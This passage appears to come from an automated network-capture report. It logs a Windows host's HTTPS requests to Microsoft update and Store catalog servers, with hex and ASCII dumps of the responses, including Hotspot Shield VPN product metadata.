65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5
c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 
49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 
22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 
Data Ascii: ,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\"
:76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"Fulfi
llmentData":{"Pro

2022-05-13 14:43:03 UTC 10962 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

137 192.168.2.3 49964 52.242.101.226 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:03 UTC 10962 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:04 UTC 10962 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440"
MS-CorrelationId: fe39ebcf-9b85-488e-a4bf-323f8292e9ba
MS-RequestId: 9cf57964-fe76-4cda-8b50-e96fa0638fe0
MS-CV: ICIFImsAeUyMoMFd.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:03 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:04 UTC 10963 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:04 UTC 10978 IN Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc 
f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 
1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 
2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 
8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa 
a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 
46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 
Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF

2022-05-13 14:43:04 UTC 10994 IN Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 
31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 
03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 
61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 
74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 
39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 
68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 
Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authori
ty 20100210930182225Z300930183225Z0|10UUS10UWashington10URedm
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

138 192.168.2.3 49965 52.152.110.14 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:04 UTC 10998 OUT GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT
=0x30&WUA=10.0.17134.1&MK=52mu3Ytu1dbNXNh&MD=xY6EXTMt HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com

2022-05-13 14:43:04 UTC 10998 IN HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
MS-CorrelationId: b7be0b9b-0420-4e16-94d4-bd9fcf2e729d
MS-RequestId: 4ba66c9b-abf3-4992-b1a4-c8fd256587a6
MS-CV: kcRtWQt1tkyDfnh3.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 13 May 2022 14:43:03 GMT
Connection: close
Content-Length: 35877

2022-05-13 14:43:04 UTC 10999 IN Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 
00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 
00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 5
4 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 
21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 
80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 
c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b 
Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[

2022-05-13 14:43:04 UTC 11014 IN Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 
23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 
61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 
a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 
07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 
33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f 
e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 
Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>
7Go?j=

2022-05-13 14:43:04 UTC 11030 IN Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 
52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 
33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 
31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 3
1 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 0
3 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 
2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 
Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0|10UUS10
UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID Source IP Source Port Destination IP
Destination
Port

Process

139 192.168.2.3 49966 20.223.24.244 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:43:05 UTC 11034 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=6F71D7A7.HotspotShieldFreeVPN_nsbqstbb
9qxb6&market=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&
scmId=Public HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: 4paMujjoOEWqthdS.0.2.4
Host: displaycatalog.mp.microsoft.com
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2022-05-13 14:43:05 UTC 11034 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 13 May 2022 14:43:04 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 4a231b21-6f34-49da-ab3f-b5015771b9bf
MS-RequestId: 940a085d-4373-4885-bb71-b9149baf65f6
MS-CV: 4paMujjoOEWqthdS.0.2.4.888071059.0.1.888071059.2742943114.0
X-Content-Type-Options: nosniff
MS-ServerId: 5cdc8-n9mtw
Region: neu
Node: aks-bigcatrpns-32351330-vmss00001n
MS-DocumentVersions: 9WZDNCRDFNG7|3683

2022-05-13 14:43:05 UTC 11034 IN Data Raw: 62 66 31 63 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 57 5a 44 4e 43 52 44 46 4e 47 37 22 5d 2c 22 48 
61 73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 
64 69 66 69 65 64 44 61 74 65 22 3a 22 32 30 32 32 2d 30 34 2d 32 37 54 32 31 3a 32 36 3a 30 31 2e 32 32 30 37 33 32 
35 5a 22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 
22 3a 5b 5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 36 37 35 35 37 30 30 32 39 37 33 
30 31 31 35 32 30 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 
63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 23 30 33 31 38 33 37 22 2c 
Data Ascii: bf1c{"BigIds":["9WZDNCRDFNG7"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2022-04-27T21
:26:01.2207325Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3067557002973011520","EISListingIdentifier
":null,"BackgroundColor":"#031837",

2022-05-13 14:43:05 UTC 11038 IN Data Raw: 34 2d 34 31 64 63 2d 38 34 65 30 2d 65 34 34 38 37 38 37 65 39 37 32 65 2e 37 33 35 61 62 39 30 64 2d 35 
38 31 37 2d 34 35 36 38 2d 39 64 62 64 2d 31 65 31 31 61 66 33 62 62 61 39 31 22 2c 22 57 69 64 74 68 22 3a 32 31 36 
30 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 32 30 30 30 30 30 30 30 30 30 30 35 36 35 36 39 38 34 33 22 2c 22 45 49 53 
4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 
22 3a 22 23 30 33 31 38 33 37 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 
65 73 22 3a 31 32 37 35 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 
33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 
Data Ascii: 4-41dc-84e0-e448787e972e.735ab90d-5817-4568-9dbd-1e11af3bba91","Width":2160},{"FileId":"2000000000
056569843","EISListingIdentifier":null,"BackgroundColor":"#031837","Caption":"","FileSizeInBytes":12751,"Foreg
roundColor":"","Height":300,"ImagePositionInfo"

2022-05-13 14:43:05 UTC 11042 IN Data Raw: 21 5c 72 5c 6e 5c 72 5c 6e 5c 72 5c 6e 48 6f 74 73 70 6f 74 20 53 68 69 65 6c 64 20 56 50 4e 20 50 72 65 6d 
69 75 6d 20 73 65 72 76 69 63 65 20 69 6e 63 6c 75 64 65 73 3a 5c 72 5c 6e 5c 72 5c 6e 2d 20 37 2d 64 61 79 20 66 72 
65 65 20 74 72 69 61 6c 3a 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 3b 20 6e 6f 20 63 6f 6d 6d 69 74 6d 65 6e 74 
3b 20 63 61 6e 63 65 6c 20 61 6e 79 74 69 6d 65 2e 5c 72 5c 6e 2d 20 50 61 79 6d 65 6e 74 20 77 69 6c 6c 20 62 65 20 
63 68 61 72 67 65 64 20 74 6f 20 79 6f 75 72 20 4d 69 63 72 6f 73 6f 66 74 20 53 74 6f 72 65 20 61 63 63 6f 75 6e 74 20 
61 74 20 63 6f 6e 66 69 72 6d 61 74 69 6f 6e 20 6f 66 20 70 75 72 63 68 61 73 65 2e 5c 72 5c 6e 2d 20 53 75 62 73 63 72 
69 70 74 69 6f 6e 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 72 
Data Ascii: !\r\n\r\n\r\nHotspot Shield VPN Premium service includes:\r\n\r\n- 7-day free trial: free of charge; no comm
itment; cancel anytime.\r\n- Payment will be charged to your Microsoft Store account at confirmation of purchase.\r\n- S
ubscription automatically r

2022-05-13 14:43:05 UTC 11046 IN Data Raw: 31 30 22 2c 22 50 72 6f 64 75 63 74 54 79 70 65 22 3a 22 41 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 56 61 6c 
69 64 61 74 69 6f 6e 44 61 74 61 22 3a 7b 22 50 61 73 73 65 64 56 61 6c 69 64 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 
22 52 65 76 69 73 69 6f 6e 49 64 22 3a 22 32 30 32 32 2d 30 34 2d 32 37 54 32 31 3a 32 36 3a 35 39 2e 33 39 32 38 31 
31 36 5a 7c 7c 2e 7c 7c 62 33 36 63 63 35 34 61 2d 36 66 32 65 2d 34 32 61 62 2d 61 37 62 37 2d 35 32 30 62 61 64 33 
62 65 66 30 66 7c 7c 31 31 35 32 39 32 31 35 30 35 36 39 34 33 38 30 31 37 39 7c 7c 4e 75 6c 6c 7c 7c 66 75 6c 6c 72 
65 6c 65 61 73 65 22 2c 22 56 61 6c 69 64 61 74 69 6f 6e 52 65 73 75 6c 74 55 72 69 22 3a 22 22 7d 2c 22 4d 65 72 63 
68 61 6e 64 69 7a 69 6e 67 54 61 67 73 22 3a 5b 5d 2c 22 50 61 72 74 44 
Data Ascii: 10","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-04-27T21:26:59
.3928116Z||.||b36cc54a-6f2e-42ab-a7b7-520bad3bef0f||1152921505694380179||Null||fullrelease","ValidationResultU
ri":""},"MerchandizingTags":[],"PartD

2022-05-13 14:43:05 UTC 11050 IN Data Raw: 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 
22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 
22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 
54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 2c 22 4d 4d 22 2c 22 4e 41 22 2c 22 
4e 52 22 2c 22 4e 50 22 2c 22 4d 56 22 2c 22 4d 4c 22 2c 22 4e 43 22 2c 22 4e 49 22 2c 22 4e 45 22 2c 22 4e 55 22 2c 2
2 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 22 52 57 22 2c 
22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 
Data Ascii: G","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM",
"MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS",
"PA","PG","PY","RE","RW","BL","MF","WS","ST","S

2022-05-13 14:43:05 UTC 11054 IN Data Raw: 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 
3a 22 39 57 5a 44 4e 43 52 44 46 4e 47 37 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 63 65 30 33 61 36 62 32 2d 
33 36 36 64 2d 34 33 64 34 2d 38 35 61 34 2d 30 37 33 65 63 65 39 61 63 61 36 39 22 2c 22 57 75 43 61 74 65 67 6f 72 
79 49 64 22 3a 22 61 37 36 30 37 33 30 66 2d 66 37 37 31 2d 34 64 33 66 2d 62 65 34 36 2d 66 61 66 62 65 31 35 66 62 
39 37 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 
70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 53 6b 75 49 64 22 
3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 
Data Ascii: :null,"FulfillmentData":{"ProductId":"9WZDNCRDFNG7","WuBundleId":"ce03a6b2-366d-43d4-85a4-073ece9a
ca69","WuCategoryId":"a760730f-f771-4d3f-be46-fafbe15fb97e","PackageFamilyName":"6F71D7A7.HotspotShi
eldFreeVPN_nsbqstbb9qxb6","SkuId":"0010","Content":null,"

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:43:05 UTC 11058 IN Data Raw: 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 
65 73 22 3a 32 32 31 34 32 37 39 34 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 35 30 
33 39 37 31 38 34 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 46 
61 6d 69 6c 79 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 5
0 4e 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 
65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 
41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 
Data Ascii: erienceIds":[],"MaxDownloadSizeInBytes":22142794,"MaxInstallSizeInBytes":50397184,"PackageFormat":
"Msix","PackageFamilyName":"6F71D7A7.HotspotShieldFreeVPN_nsbqstbb9qxb6","MainPackageFamilyNameForDl
c":null,"PackageFullName":"6F71D7A7.HotspotShieldFreeVPN_

2022-05-13 14:43:05 UTC 11062 IN Data Raw: 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 48 6f 6c 6f 67 72 61 70 68 69 63 22 7d 2c 7b 22 
4d 61 78 56 65 72 73 69 6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 
50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 43 6f 72 65 22 7d 2c 7b 22 4d 61 78 56 65 72 73 69 
6f 6e 22 3a 32 31 34 37 34 38 33 36 34 37 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 30 2c 22 50 6c 61 74 66 6f 72 6d 4e 
61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 38 38 32 38 30 38 30 22 7d 5d 7d 2c 22 45 6e 64 44 61 74 65 22 3a 22 39 39 
39 38 2d 31 32 2d 33 30 54 30 30 3a 30 30 3a 30 30 2e 30 30 30 30 30 30 30 5a 22 2c 22 52 65 73 6f 75 72 63 65 53 65 
74 49 64 73 22 3a 5b 22 31 22 5d 2c 22 53 74 61 72 74 44 61 74 65 
Data Ascii: tformName":"Windows.Holographic"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.
Core"},{"MaxVersion":2147483647,"MinVersion":0,"PlatformName":"Windows.8828080"}]},"EndDate":"9998-12-30T00:00
:00.0000000Z","ResourceSetIds":["1"],"StartDate

2022-05-13 14:43:05 UTC 11066 IN Data Raw: 20 73 70 65 65 64 73 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 ba 20 42 52 4f 57 53 45 20 53 45 43 55 52 45 4c 59 5c 
72 5c 6e 53 74 61 79 20 73 65 63 75 72 65 20 77 69 74 68 20 6d 69 6c 69 74 61 72 79 2d 67 72 61 64 65 20 65 6e 63 72 
79 70 74 65 64 20 74 72 61 66 66 69 63 20 62 65 74 77 65 65 6e 20 79 6f 75 72 20 64 65 76 69 63 65 20 61 6e 64 20 6f 
75 72 20 73 65 72 76 65 72 73 20 77 68 69 6c 65 20 63 6f 6e 6e 65 63 74 65 64 20 77 69 74 68 20 48 6f 74 73 70 6f 74 20 
53 68 69 65 6c 64 20 56 50 4e 2e 5c 72 5c 6e 5c 72 5c 6e e2 96 ba 20 53 54 41 59 20 50 52 49 56 41 54 45 5c 72 5c 6e 5
9 6f 75 72 20 70 72 69 76 61 63 79 20 69 73 20 6f 75 72 20 6d 69 73 73 69 6f 6e 2e 20 43 6f 6e 6e 65 63 74 20 74 6f 20 6
1 6e 79 20 6f 66 20 6f 75 72 20 72 65 6c 69 61 62 6c 65 20 56 50 
Data Ascii:  speeds.\r\n\r\n BROWSE SECURELY\r\nStay secure with military-grade encrypted traffic between your 
device and our servers while connected with Hotspot Shield VPN.\r\n\r\n STAY PRIVATE\r\nYour privacy is our mission. 
Connect to any of our reliable VP

2022-05-13 14:43:05 UTC 11070 IN Data Raw: 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 34 39 37 36 32 33 30 34 2c 22 50 61 63 6b 
61 67 65 46 6f 72 6d 61 74 22 3a 22 45 4d 73 69 78 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 
22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 6e 73 62 71 73 74 62 62 39 
71 78 62 36 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6
c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 53 68 69 
65 6c 64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 37 30 5f 61 72 6d 5f 5f 6e 73 62 71 73 74 62 62 39 71 78 62 36 22 
2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 33 35 64 34 65 65 63 61 
Data Ascii: xInstallSizeInBytes":49762304,"PackageFormat":"EMsix","PackageFamilyName":"6F71D7A7.HotspotShieldF
reeVPN_nsbqstbb9qxb6","MainPackageFamilyNameForDlc":null,"PackageFullName":"6F71D7A7.HotspotShieldFr
eeVPN_2.10.5.70_arm__nsbqstbb9qxb6","PackageId":"35d4eeca

2022-05-13 14:43:05 UTC 11074 IN Data Raw: 37 30 34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 
5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 36 46 37 31 44 37 41 37 2e 48 6f 74 73 70 6f 74 
53 68 69 65 6c 64 46 72 65 65 56 50 4e 5f 32 2e 31 30 2e 35 2e 37 30 5f 78 38 36 5f 5f 6e 73 62 71 73 74 62 62 39 71 78 
62 36 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 64 30 64 30 63 66 35 2d 66 
32 32 62 2d 34 37 36 31 2d 61 62 65 65 2d 66 37 30 66 38 30 34 62 37 30 61 62 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 
